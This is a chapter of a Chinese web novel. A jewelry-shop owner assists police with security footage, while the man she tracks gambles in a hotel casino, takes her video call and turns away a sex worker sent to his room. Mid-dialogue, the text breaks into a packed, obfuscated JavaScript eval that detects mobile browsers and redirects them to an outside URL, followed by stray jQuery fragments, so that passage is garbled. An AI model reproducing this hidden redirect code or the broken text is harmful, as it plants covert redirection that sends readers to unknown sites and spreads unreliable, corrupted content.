她心头一突,竟然先想到今天缺席的水蛇。他在茶乡只认识他们,算是人生地不熟,不会才离开她的视线,就捅出篓子了吧? 水蛇身上未知信息最多,未知总意味着风险。 两个警察一个一杠一,一个辅警,都是步行街派出所的民警。前者姓朱,出示证件和表明来意。 原来半小时前有人经过店门口手机被偷,他们要调取店门口角度的监控视频。 阿声悄悄松一口气,配合找出关键时间段的视频。报警人是个中年妇女,牵小孩在店门口停留十来秒,弯腰给小孩擦鼻涕,可疑男子路过顺走了她随手插衣兜的手机。 阿声加了朱警官的微信,从电脑将视频文件发过去。 朱警官问:“这是店里的微信?” 阿声说:“平常我在用,您可以直接找到我。” 朱警官:“行,有什么事再说。临近年关,你们也注意防火防盗。我们先走了,不耽误你们做生意。” 阿声走出柜门送到门口,“慢走,辛苦了。” 阿丽八卦兮兮问:“阿声姐,他为什么要问是不是店里微信?有点奇怪……” 阿声也品出一点此地无银三百两,神秘一笑,“不知道,不理他。” 朱警官回一个系统表情“抱拳”,阿声挑了一个“不客气”的表情包,可爱风格,不常用,她和最暧昧的男人都没用过。和水蛇的聊天记录还是初添加时的系统提示。 阿声突然好奇这个人在做什么。 这个开头不妙,关注会慢慢演变成关心,导致一发不可收拾的发展。 博-彩区设在酒店内部,空气比其他地方暖和,似乎泛着一股微妙的香味。舒照感觉双颊微热,头脑像锈蚀,转动不灵活。 这不是一个好兆头。 拉链给他十万筹码,拍拍他肩膀,“赢了算你的,输掉算强叔的。” 舒照肯定赢不了,赌场不会让他赢,罗伟强也不希望看到他赢。赢钱后面代表非一般的自控力,他不应该拥有。 罗伟强上次给他五万现金,他估摸只能输掉比这多一点,不能负债。 舒照上桌下注,玩了几把。 罗汉凑过来,拱火道:“妈的,你怎么那么放不开,太小气了,下大点。” 舒照笑了笑,理智犹存:“你想让我输得底裤都不剩啊?” 罗汉往他下面瞥一眼,猥琐一笑:“怕什么?见不得人吗?” 他顺手帮他推了一叠筹码。 舒照清醒地看着他加注,清晰地感知自己血液跟着隐隐涌动。 黄赌毒的人性考验,如果过了前面两关,难道还会有第三关?这也是他离开海城的目的。 隐忧唤醒他的理智,舒照眉头皱得可以夹烟。 荷官开牌,罗汉帮忙下注的这一把赢了。 罗汉双眼发亮,跟吸尘器一样扫回一把筹码。周围人跟着起哄。两者交替起了强化作用,激起舒照的愉悦感和好胜心。 他也有人的劣根性。 下一把,输了,局面越发刺激和紧张。舒照愁眉未展,越发专注,也越发沉迷。 连输两把,筹码蒸发大半,舒照的太阳穴隐隐鼓起青筋,却没离场的念头。 赌徒杀红眼后只有一个目标,赢回来。 裤兜手机忽然连震舒照,他掏出来扫了眼,阿声的视频电话。 舒照下意识按掉,像自知此时此刻见不得人。锁屏显示阿声的照片,像第二个无声来电,提醒他的荒谬。 罗汉在旁瞥见,笑话他:“就被查岗了?女人就是麻烦。” 舒照攀了下罗汉肩膀,沉着一张脸,“帮我玩,我回个电话。” 罗汉淡定道:“用不着那么紧张,黑妹很开明。” 舒照倒不是紧张阿声查岗,而是紧张自己。 舒照走出博-彩区,像进入另一个季节,空气降温,没了那股微妙的香味。天亮入场,离场已入夜。 他呼吸顺畅,微红的脸色慢慢褪去,清醒过来,他的背后沁出一片冷汗。 出室外抽了几根烟,他渐渐冷静下来。 舒照给罗汉发微信说先回房。三人房间相邻。罗汉估计赌嗨了,没回复。 他回到房间回拨阿声的视频电话,调成后置摄像头。 阿声的面孔占据了屏幕,她等了他大半小时,面色不善。 “哟,忙完正事了?” 舒照:“正在忙。” 阿声冷笑,懒得计较只能看到他在电视机里的轮廓,将手机随便靠在键盘边,当语音电话打。 舒照:“盘点完了?” 阿声:“嗯,该盘点你了。” 舒照:“来盘啊。” 阿声也只能抽象盘他,一旦面对面,他决计逃遁,不给她逮住一片衣角。 她问:“输得底裤都没剩了?” 舒照:“你想得美。” 他刻意强调后半句,严肃的经济问题陡然变成了暧昧的两性话题,阿声又烦他躲躲藏藏不出镜。 阿声:“切,看看。” 舒照:“看什么?” 他没故意装懵,阿声的单刀直入经常让他心惊肉跳,有时转不过弯。 阿声:“你说呢?” 舒照叽叽咕咕了一句。 阿声:“喂,别以为我听不懂。” “我说什么了?”舒照要是入镜,装无辜的样子会让阿声更恼火。 阿声:“你说我‘咸湿’。” 她用普通话读汉字,舒照险些不认识这个词。 阿声:“我干爹和拉链老家一个地方,都讲粤语,我能听懂。” 舒照岔开话题,“讲两句。” 阿声:“给钱啊。” 舒照:“只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990629|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裤衩了。” 阿声又气又笑,管理好表情才能不输阵。 舒照又说:“你只会听,最多只能听懂一部分,不会讲。” 阿声被识破伪装,微恼:“你那么多嘴。” 舒照:“只有一张,说不过你。” 阿声看到台阶就下了,转移话题:“在酒店啊?” “嗯。” “一个人?” 舒照:“还有美女。” 阿声一顿,“哪?” “床上。” “你不要命了。” 舒照得逞笑了声。 阿声盯着手机屏幕,“看看。” “什么鬼都要看。” “看看漂亮吗?” 舒照:“跟你一样。” 整齐洁白的床铺入镜,白色枕头上躺着一部手机,床垫震了震,舒照大概跪上去,伸手按亮屏幕。 手机亮起阿声的自拍照片。 舒照:“看到没,美女陪我睡觉。认识吗?” 阿声气笑了,“你有两部手机?” 舒照:“你没有吗?” 阿声用的微信是店铺名“A抚云作银-手工银饰”加手机号码,朋友圈全是广告,绑定了李娇娇的身份。她大概率有自己的微信。 阿声的自拍照在车里照的,光线暗,色彩单调,近似黑白,摆在白枕头上,跟遗照似的。他也不嫌瘆人。 她刚想发作,似乎听到敲门声。 阿声抬头瞄一眼店里拉下一般的卷闸门,不是她这边的声音。 她问:“是不是有人敲门?” 舒照:“我看一眼。” 镜头晃动,颠倒的窗户出现在屏幕上。 舒照凑猫眼看了一眼,一个花枝招展的女人映入眼帘。 他疑惑又戒备地拉开门。 天冷,女人穿着依然暴露,低领连衣裙紧紧束着丰乳深沟,下面是性感的黑丝袜和高跟鞋,只披一件长款外套。脸上浓妆艳抹,批了腻子似的。 舒照眼神警觉。 女人眼前一亮,客人外貌和身材超出预期。 她就要挤进来,“帅哥,404的客人叫我来找你。” 舒照冷脸,“你找错人了。” 女人再次确认房号,给他看微信聊天界面,左边是罗汉的头像。 她说:“钱已经给过了。” 舒照做了一个让开的手势。 女人狐疑让到一边。 舒照关门,敲门声和喊声随之而来—— “哎,你让我怎么回他啊?喂!收了钱我可不退啊!” 另一道女声也凭空跟上,比门外的更凶更尖锐,“哟,关门做什么,让美女一个人在外面多冷啊。” 舒照走回床边,“你想让我请她进来?” 阿声翻白眼,不悦写在脸上:“关我屁事。” 舒照看着手机发笑,“她应该还没走远,你点头我就去开门。” 阿声恼道:“我看是你想。” 舒照:“我要是想,早睡了你。” 他心底燃起一股燥火,不止生理上的饥渴,心理上的烦躁,还有对今晚失控局面的悔意。某种意义上,他得感谢阿声来电,她薅醒了他。 阿声愣怔片刻,听得出舒照生气,也是认识以来第一次见他心绪不佳。水蛇不是玩具,也不是宠物,而是活生生的臭男人,有自己的脾气。 舒照:“我去洗澡,还要看吗?要脱裤子了,不给你看。” 手机摔床上,镜头朝下,阿声只看到满屏漆黑。 视频通话计时一直在走,传来熟悉的一次性拖鞋擦地声,然后,关门声和模糊的水声。 阿声咕哝一句神经病。 舒照洗了半小时出来,阿声早挂断,一个人的房间恢复清净。他第一次发现阿声有掩体的作用,能帮他抵挡流火。 这一夜,他睡了离开海城后第一个安稳觉。